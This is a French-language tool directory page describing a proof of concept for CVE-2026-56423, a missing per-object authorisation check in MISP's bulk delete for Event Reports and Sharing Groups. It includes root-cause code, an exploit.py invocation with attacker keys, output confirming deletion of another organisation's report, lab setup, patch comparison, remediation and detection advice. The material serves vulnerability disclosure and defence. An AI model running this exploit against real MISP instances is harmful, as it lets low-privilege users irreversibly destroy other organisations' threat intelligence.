Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl — PoC pour CVE-2026-56423 : contrôle d'accès défaillant de deleteSelection dans MISP (CWE-862, un contributeur supprime définitivement les Event Reports/Sharing Groups d'autres organisations, CVSS 8.8) | Kitploit
Outils/GitHubGitHub/biitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRenseignement sur les MenacesMauvaise Configuration
GitHubbiitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol

CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC pour CVE-2026-56423 : contrôle d'accès défaillant de deleteSelection dans MISP (CWE-862, un contributeur supprime définitivement les Event Reports/Sharing Groups d'autres organisations, CVSS 8.8)

Voir le dépôt
il y a 1 moisPas encore vérifié

CVE-2026-56423 — Contrôle d'accès défaillant dans deleteSelection de MISP

Preuve de concept pour une faille d'absence d'autorisation dans les flux de suppression en masse de MISP pour les Rapports d'événements et les Groupes de partage. Les gestionnaires deleteSelection autorisent chaque élément sélectionné via un rappel qui ignore l'élément et renvoie la permission de rôle globale de l'appelant (perm_add / perm_sharing_group) au lieu d'une vérification de propriété par objet. Un contributeur à faibles privilèges (le rôle par défaut "Utilisateur") peut donc soumettre des ID/UUID de rapports appartenant à n'importe quelle organisation et les supprimer définitivement à l'échelle de l'instance, alors que l'action delete par objet, correctement protégée, refuse exactement la même requête.

CVECVE-2026-56423
ProduitNoyau MISP (Malware Information Sharing Platform)
Versions affectéesMISP CE/EE ≤ 2.5.41
Corrigé dans2.5.42
ClasseCWE-862 — Autorisation manquante (contrôle d'accès défaillant au niveau objet)
CVSS 3.18.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
AuthentificationAuthentifié, faibles privilèges (tout rôle avec perm_add, ex. "Utilisateur")
Publié2026-06-22
StatutCONFIRMÉ — un contributeur supprime le rapport d'une autre organisation sur 2.5.40 ; refusé sur 2.5.42

Cause racine

app/Controller/EventReportsController.php (tag v2.5.40) :

root@kitploit:~
public function deleteSelection($id = null)
{
    return $this->CRUD->deleteSelection($id, [
        'modelName' => 'EventReport',
        ...
        'checkModifyCallback' => function($itemId) {
            return $this->userRole['perm_add'];   // ignores $itemId → global role bool
        },
    ]);
}

CRUDComponent::deleteSelection appelle ce checkModifyCallback pour chaque identifiant sélectionné et supprime l'objet chaque fois qu'il renvoie true :

root@kitploit:~
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }

Comme le rappel renvoie $this->userRole['perm_add'] — un booléen global qui est true pour le rôle "Utilisateur" par défaut — la propriété du rapport cible n'est jamais vérifiée. En comparaison, l'action delete($id) sur un seul objet appelle correctement EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') et refuse les rapports étrangers.

SharingGroupsController::deleteSelection présente le même défaut en utilisant perm_sharing_group.

Le correctif dans 2.5.42 (commits ada02fa, f99b3f1) remplace le rappel par un appel par élément EventReport::fetchIfAuthorized($user, $itemId, 'delete').

Voir ANALYSIS.md pour la procédure complète.

Prérequis (documentés honnêtement)

  1. L'attaquant possède un compte dont le rôle dispose de perm_add — le rôle Utilisateur intégré, accordé aux contributeurs ordinaires sur les instances multi-organisations.
  2. MISP.enable_themes = true. L'action deleteSelection est protégée dans l'ACL par AND(theming_enabled, perm_add), où theming_enabled correspond au paramètre MISP.enable_themes. Ce paramètre est désactivé par défaut mais est un indicateur de fonctionnalité d'interface normal activé sur de nombreuses instances (il alimente l'interface v2 index/liste). Lorsqu'il est désactivé, l'action renvoie HTTP 403 avant que le rappel défectueux ne s'exécute.

Exploit

root@kitploit:~
python3 exploit.py https://127.0.0.1:443 \
    --attacker-key <contributor_authkey> \
    --admin-key   <admin_authkey_used_only_to_confirm_the_target> \
    --report-id   <id_of_a_report_owned_by_another_org>
root@kitploit:~
[1] contributor legit delete/2   -> HTTP 404  (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200  {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection

Reproduction

root@kitploit:~
cd lab
./setup.sh          # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
    --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"

# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh

Limite VULN/CORRIGÉ (empirique)

Requête (contributeur à faibles privilèges, rapport étranger)v2.5.40v2.5.42
delete/{id} correctement protégé404 refusé404 refusé
du même rapport

La même requête passe du succès au refus après le correctif, et la suppression par objet correctement protégée est refusée dans les deux cas — prouvant que le bogue est l'absence d'autorisation par objet dans deleteSelection, et non un compte mal configuré. Transcription complète dans EVIDENCE.txt.

Impact

Tout utilisateur à faibles privilèges sur une instance MISP partagée peut supprimer définitivement et irréversiblement les Rapports d'événements — récits d'analystes attachés aux événements de renseignement sur les menaces — et les Groupes de partage appartenant à d'autres organisations, à l'échelle de l'instance. Il s'agit d'une compromission de l'intégrité/disponibilité inter-locataire d'une plateforme de renseignement sur les menaces sur laquelle les CERT, ISAC et SOC comptent.

Remédiation

  • Mettez à niveau MISP vers 2.5.42 ou version ultérieure.
  • Le correctif applique EventReport::fetchIfAuthorized($user, $itemId, 'delete') pour chaque élément sélectionné ; le même motif est appliqué aux Groupes de partage.

Détection

Auditez les journaux MISP pour les requêtes EventReports/deleteSelection (et SharingGroups/deleteSelection) où l'organisation de l'utilisateur actif diffère de l'organisation propriétaire de l'objet supprimé.

Crédits

Research and PoC by Caio Fabrício (@BiiTts).

Licence

MIT — voir LICENCE.

Télécharger l’outil
deleteSelection
200 — supprimé définitivement
403 — "Impossible de supprimer" ; rapport intact